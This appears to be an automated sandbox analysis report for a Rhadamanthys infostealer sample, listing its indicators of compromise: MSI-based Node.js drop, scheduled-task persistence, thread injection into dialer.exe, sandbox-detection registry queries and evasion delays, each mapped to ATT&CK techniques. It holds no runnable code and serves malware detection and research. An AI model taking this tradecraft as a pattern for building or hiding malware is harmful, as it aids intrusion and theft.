rhadamanthys | a64e052d1c68f9a610499455ff604189d9748b7246d7bf7903a92970f6036905

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs

Web Service

T1102

flow	ioc
1	bitbucket.org
3	bitbucket.org
27	bitbucket.org

Power Settings 1 TTPs 4 IoCs

powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.

persistence

Power Settings

T1653

pid	Process
1388	powercfg.exe
4192	powercfg.exe
4760	powercfg.exe
4592	powercfg.exe

Drops file in System32 directory 8 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\Tasks\RunNodeScriptAtLogon	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules.xml	OfficeClickToRun.exe
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-WER-Diag%4Operational.evtx	svchost.exe
File opened for modification	C:\Windows\system32\MRT.exe	a45d23ip.c3c2.exe
File opened for modification	C:\Windows\System32\Winevt\Logs\Setup.evtx	svchost.exe
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Security-Mitigations%4KernelMode.evtx	svchost.exe
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Security-Mitigations%4UserMode.evtx	svchost.exe
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-RestartManager%4Operational.evtx	svchost.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 332 set thread context of 4340	332	a45d23ip.c3c2.exe	133

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File created	C:\Program Files\nodejs\node_modules\npm\node_modules\wcwidth\docs\index.md	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\corepack\dist\npx.js	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\bin\npm	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\docs\output\commands\npm-unpublish.html	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\node_modules\@npmcli\arborist\bin\lib\logging.js	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\node_modules\jsonparse\samplejson\basic2.json	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\node_modules\mkdirp\lib\mkdirp-native.js	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\node_modules\walk-up-path\package.json	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\node_modules\@colors\colors\lib\system\supports-colors.js	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\node_modules\env-paths\index.js	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\node_modules\sigstore\package.json	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\docs\content\using-npm\registry.md	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\lib\commands\uninstall.js	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\node_modules\err-code\package.json	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\node_modules\@pkgjs\parseargs\utils.js	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\node_modules\minizlib\index.js	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\node_modules\bin-links\lib\get-paths.js	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\node_modules\iconv-lite\lib\streams.js	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\docs\content\commands\npm-deprecate.md	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\lib\utils\cmd-list.js	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\node_modules\glob\dist\commonjs\glob.d.ts.map	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\node_modules\glob\dist\esm\index.d.ts	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\node_modules\@sigstore\sign\dist\witness\index.js	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\node_modules\nopt\lib\nopt.js	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\man\man5\npm-json.5	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\man\man7\package-spec.7	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\node_modules\@npmcli\arborist\lib\from-path.js	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\node_modules\@npmcli\fs\package.json	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\node_modules\smart-buffer\docs\ROADMAP.md	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\docs\output\configuring-npm\npmrc.html	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\node_modules\https-proxy-agent\package.json	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\node_modules\libnpmexec\lib\file-exists.js	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\node_modules\retry\package.json	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\node_modules\hasown\index.js	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\node_modules\@npmcli\arborist\lib\arborist\reify.js	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\node_modules\@sigstore\protobuf-specs\dist\__generated__\google\api\field_behavior.js	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\node_modules\@sigstore\tuf\package.json	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\node_modules\glob\dist\esm\index.js.map	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\docs\content\commands\npm-ci.md	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\node_modules\gauge\lib\set-immediate.js	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\node_modules\path-scurry\LICENSE.md	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\node_modules\wrap-ansi\index.js	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\node_modules\glob\dist\commonjs\walker.d.ts	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\node_modules\lru-cache\dist\commonjs\index.js	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\node_modules\postcss-selector-parser\API.md	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\corepack\dist\pnpx.js	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\lib\commands\shrinkwrap.js	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\docs\content\commands\npm-help-search.md	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\lib\commands\restart.js	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\node_modules\@npmcli\arborist\lib\yarn-lock.js	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\node_modules\node-gyp\gyp\pylib\gyp\common_test.py	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\corepack\shims\nodewin\npm.cmd	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\node_modules\@npmcli\arborist\lib\relpath.js	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\node_modules\@sigstore\bundle\dist\index.js	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\node_modules\libnpmaccess\lib\index.js	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\node_modules\parse-conflict-json\LICENSE.md	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\node_modules\string-width\license	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\docs\content\commands\npm-diff.md	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\node_modules\@npmcli\fs\lib\common\node.js	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\node_modules\@npmcli\git\lib\revs.js	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\node_modules\chalk\source\index.js	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\node_modules\@npmcli\agent\lib\options.js	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\node_modules\common-ancestor-path\index.js	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\node_modules\pacote\lib\util\tar-create-options.js	msiexec.exe

Drops file in Windows directory 20 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Installer\MSIF201.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIF251.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI2B56.tmp	msiexec.exe
File created	C:\Windows\SystemTemp\~DF1578AC92E7D04DEC.TMP	msiexec.exe
File created	C:\Windows\Installer\inprogressinstallinfo.ipi	msiexec.exe
File created	C:\Windows\Installer\SourceHash{637236E9-EF59-4F9D-8269-3083C1A6C6D6}	msiexec.exe
File opened for modification	C:\Windows\Installer\{637236E9-EF59-4F9D-8269-3083C1A6C6D6}\NodeIcon	msiexec.exe
File created	C:\Windows\Installer\e57ee7b.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI2C41.tmp	msiexec.exe
File created	C:\Windows\SystemTemp\~DF6F9D4B70C82C37F5.TMP	msiexec.exe
File created	C:\Windows\Installer\e57ee77.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\e57ee77.msi	msiexec.exe
File opened for modification	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIF240.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\	msiexec.exe
File created	C:\Windows\SystemTemp\~DF398246859877892A.TMP	msiexec.exe
File created	C:\Windows\SystemTemp\~DF0B745DD4C69C4847.TMP	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIFA22.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIFED6.tmp	msiexec.exe
File created	C:\Windows\Installer\{637236E9-EF59-4F9D-8269-3083C1A6C6D6}\NodeIcon	msiexec.exe

Launches sc.exe 7 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
2224	sc.exe
5016	sc.exe
2732	sc.exe
4848	sc.exe
3920	sc.exe
1732	sc.exe
2380	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 28 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	Process not Found
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	Process not Found
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	Process not Found
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	Process not Found
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	Process not Found
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1	Process not Found
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	Process not Found
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	WerFault.exe

Delays execution with timeout.exe 64 IoCs

evasion

pid	Process
4676	timeout.exe
5020	timeout.exe
2268	timeout.exe
2808	timeout.exe
1604	timeout.exe
2952	timeout.exe
1020	timeout.exe
2528	timeout.exe
4520	timeout.exe
4936	timeout.exe
5100	timeout.exe
3876	timeout.exe
4728	timeout.exe
2024	timeout.exe
4960	timeout.exe
4772	timeout.exe
796	timeout.exe
1184	timeout.exe
2908	timeout.exe
2336	timeout.exe
3104	timeout.exe
1856	timeout.exe
5020	timeout.exe
1772	timeout.exe
2396	timeout.exe
2480	timeout.exe
3080	timeout.exe
4860	timeout.exe
1408	timeout.exe
1780	timeout.exe
3340	timeout.exe
2412	timeout.exe
908	timeout.exe
2520	timeout.exe
4416	timeout.exe
1036	timeout.exe
4960	timeout.exe
3516	timeout.exe
3112	timeout.exe
3360	timeout.exe
2332	timeout.exe
2044	timeout.exe
3952	timeout.exe
2884	timeout.exe
3032	timeout.exe
4432	timeout.exe
4696	timeout.exe
2156	timeout.exe
1476	timeout.exe
2336	timeout.exe
3112	timeout.exe
3628	timeout.exe
3676	timeout.exe
2952	timeout.exe
3920	timeout.exe
2400	timeout.exe
1596	timeout.exe
1408	timeout.exe
4792	timeout.exe
3836	timeout.exe
3068	timeout.exe
4608	timeout.exe
2384	timeout.exe
4420	timeout.exe

Enumerates processes with tasklist 1 TTPs 8 IoCs

Process Discovery

T1057

pid	Process
2904	tasklist.exe
1468	tasklist.exe
1856	tasklist.exe
668	tasklist.exe
2904	tasklist.exe
3068	tasklist.exe
2732	tasklist.exe
4416	tasklist.exe

Enumerates system info in registry 2 TTPs 8 IoCs

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	Process not Found
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	Process not Found
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe

Kills process with taskkill 8 IoCs

evasion

pid	Process
3760	taskkill.exe
4184	taskkill.exe
3472	taskkill.exe
4748	taskkill.exe
4300	taskkill.exe
4416	taskkill.exe
616	taskkill.exe
2288	taskkill.exe

Modifies data under HKEY_USERS 17 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe	OfficeClickToRun.exe
Key deleted	\REGISTRY\USER\.DEFAULT\SOFTWARE\MICROSOFT\OFFICE\16.0\COMMON\CLIENTTELEMETRY\RULESMETADATA\OFFICECLICKTORUN.EXE\ULSMONITOR	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common	OfficeClickToRun.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2a\52C64B7E	msiexec.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe = "Sun, 23 Jun 2024 17:15:58 GMT"	OfficeClickToRun.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor	OfficeClickToRun.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSTagIds0 = "5804129,7202269,17110992,41484365,39965824,7153487,17110988,508368333,17962391,17962392,3462423,3702920,3700754,3965062,4297094,7153421,18716193,7153435,7202265,20502174,6308191,18407617"	OfficeClickToRun.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSCategoriesSeverities = "1329 10,1329 50,1329 15,1329 100,1329 6"	OfficeClickToRun.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe_queried = "1719162957"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2b	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	svchost.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\RulesEndpoint = "https://nexusrules.officeapps.live.com/nexus/rules?Application=officeclicktorun.exe&Version=16.0.12527.20470&ClientId={BC50B22A-FBB4-43D1-9991-160A0D30886D}&OSEnvironment=10&MsoAppId=37&AudienceName=Production&AudienceGroup=Production&AppVersion=16.0.12527.20470&"	OfficeClickToRun.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2a	msiexec.exe

Modifies registry class 31 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\9E63273695FED9F4289603381C6A6C6D\NodeRuntime	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\9E63273695FED9F4289603381C6A6C6D\PackageCode = "AC6AA920FB9737143A7998E5BED98A71"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\9E63273695FED9F4289603381C6A6C6D\Version = "336330754"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\9E63273695FED9F4289603381C6A6C6D\ProductIcon = "C:\\Windows\\Installer\\{637236E9-EF59-4F9D-8269-3083C1A6C6D6}\\NodeIcon"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\9E63273695FED9F4289603381C6A6C6D\SourceList\Media\1 = ";"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{4336a54d-038b-4685-ab02-99bb52d3fb8b}\Instance\	Explorer.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\9E63273695FED9F4289603381C6A6C6D	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\A3A70C74FE2431248AD5F8A59570C782	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\9E63273695FED9F4289603381C6A6C6D\SourceList	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\9E63273695FED9F4289603381C6A6C6D\SourceList\Net	msiexec.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\9E63273695FED9F4289603381C6A6C6D\Clients = 3a0000000000	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\9E63273695FED9F4289603381C6A6C6D\EnvironmentPathNode = "EnvironmentPath"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\9E63273695FED9F4289603381C6A6C6D\AuthorizedLUAApp = "0"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\A3A70C74FE2431248AD5F8A59570C782\9E63273695FED9F4289603381C6A6C6D	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\9E63273695FED9F4289603381C6A6C6D\corepack	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\9E63273695FED9F4289603381C6A6C6D\Language = "1033"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\9E63273695FED9F4289603381C6A6C6D\InstanceType = "0"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\9E63273695FED9F4289603381C6A6C6D\DeploymentFlags = "3"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\9E63273695FED9F4289603381C6A6C6D\DocumentationShortcuts	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\9E63273695FED9F4289603381C6A6C6D\ProductName = "Node.js"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\9E63273695FED9F4289603381C6A6C6D\SourceList\PackageName = "nodejs-installer.msi"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\9E63273695FED9F4289603381C6A6C6D\SourceList\LastUsedSource = "n;1;C:\\Users\\Admin\\AppData\\Local\\Temp\\6978.tmp\\"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\9E63273695FED9F4289603381C6A6C6D\EnvironmentPathNpmModules = "EnvironmentPath"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\9E63273695FED9F4289603381C6A6C6D	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\9E63273695FED9F4289603381C6A6C6D\SourceList\Net\1 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\6978.tmp\\"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\9E63273695FED9F4289603381C6A6C6D\SourceList\Media	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\9E63273695FED9F4289603381C6A6C6D\npm	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\9E63273695FED9F4289603381C6A6C6D\EnvironmentPath	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\9E63273695FED9F4289603381C6A6C6D\Assignment = "1"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\9E63273695FED9F4289603381C6A6C6D\AdvertiseFlags = "388"	msiexec.exe
Key created	\REGISTRY\USER\S-1-5-21-952492217-3293592999-1071733403-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\	Explorer.EXE

Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
1732	schtasks.exe
4924	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4868	powershell.exe
4868	powershell.exe
3124	powershell.exe
3124	powershell.exe
1124	powershell.exe
1124	powershell.exe
3376	a45d23ip.c3c1.exe
3376	a45d23ip.c3c1.exe
3924	openwith.exe
3924	openwith.exe
3924	openwith.exe
3924	openwith.exe
332	a45d23ip.c3c2.exe
2548	powershell.exe
2548	powershell.exe
332	a45d23ip.c3c2.exe
332	a45d23ip.c3c2.exe
332	a45d23ip.c3c2.exe
332	a45d23ip.c3c2.exe
332	a45d23ip.c3c2.exe
332	a45d23ip.c3c2.exe
332	a45d23ip.c3c2.exe
332	a45d23ip.c3c2.exe
332	a45d23ip.c3c2.exe
332	a45d23ip.c3c2.exe
332	a45d23ip.c3c2.exe
332	a45d23ip.c3c2.exe
4340	dialer.exe
4340	dialer.exe
4340	dialer.exe
4340	dialer.exe
332	a45d23ip.c3c2.exe
4340	dialer.exe
4340	dialer.exe
4340	dialer.exe
4340	dialer.exe
4340	dialer.exe
4340	dialer.exe
4340	dialer.exe
4340	dialer.exe
4340	dialer.exe
4340	dialer.exe
4340	dialer.exe
4340	dialer.exe
4340	dialer.exe
4340	dialer.exe
4340	dialer.exe
4340	dialer.exe
4340	dialer.exe
4340	dialer.exe
4340	dialer.exe
4340	dialer.exe
4340	dialer.exe
4340	dialer.exe
4340	dialer.exe
4340	dialer.exe
4340	dialer.exe
4340	dialer.exe
4340	dialer.exe
4340	dialer.exe
4340	dialer.exe
4340	dialer.exe
4340	dialer.exe
4340	dialer.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4868	powershell.exe
Token: SeDebugPrivilege	3124	powershell.exe
Token: SeDebugPrivilege	1124	powershell.exe
Token: SeDebugPrivilege	2548	powershell.exe
Token: SeDebugPrivilege	332	a45d23ip.c3c2.exe
Token: SeDebugPrivilege	4340	dialer.exe
Token: SeShutdownPrivilege	4760	powercfg.exe
Token: SeCreatePagefilePrivilege	4760	powercfg.exe
Token: SeShutdownPrivilege	1388	powercfg.exe
Token: SeCreatePagefilePrivilege	1388	powercfg.exe
Token: SeShutdownPrivilege	4592	powercfg.exe
Token: SeCreatePagefilePrivilege	4592	powercfg.exe
Token: SeShutdownPrivilege	4192	powercfg.exe
Token: SeCreatePagefilePrivilege	4192	powercfg.exe
Token: SeAuditPrivilege	2276	svchost.exe
Token: SeShutdownPrivilege	4544	msiexec.exe
Token: SeIncreaseQuotaPrivilege	4544	msiexec.exe
Token: SeSecurityPrivilege	4088	msiexec.exe
Token: SeCreateTokenPrivilege	4544	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	4544	msiexec.exe
Token: SeLockMemoryPrivilege	4544	msiexec.exe
Token: SeIncreaseQuotaPrivilege	4544	msiexec.exe
Token: SeMachineAccountPrivilege	4544	msiexec.exe
Token: SeTcbPrivilege	4544	msiexec.exe
Token: SeSecurityPrivilege	4544	msiexec.exe
Token: SeTakeOwnershipPrivilege	4544	msiexec.exe
Token: SeLoadDriverPrivilege	4544	msiexec.exe
Token: SeSystemProfilePrivilege	4544	msiexec.exe
Token: SeSystemtimePrivilege	4544	msiexec.exe
Token: SeProfSingleProcessPrivilege	4544	msiexec.exe
Token: SeIncBasePriorityPrivilege	4544	msiexec.exe
Token: SeCreatePagefilePrivilege	4544	msiexec.exe
Token: SeCreatePermanentPrivilege	4544	msiexec.exe
Token: SeBackupPrivilege	4544	msiexec.exe
Token: SeRestorePrivilege	4544	msiexec.exe
Token: SeShutdownPrivilege	4544	msiexec.exe
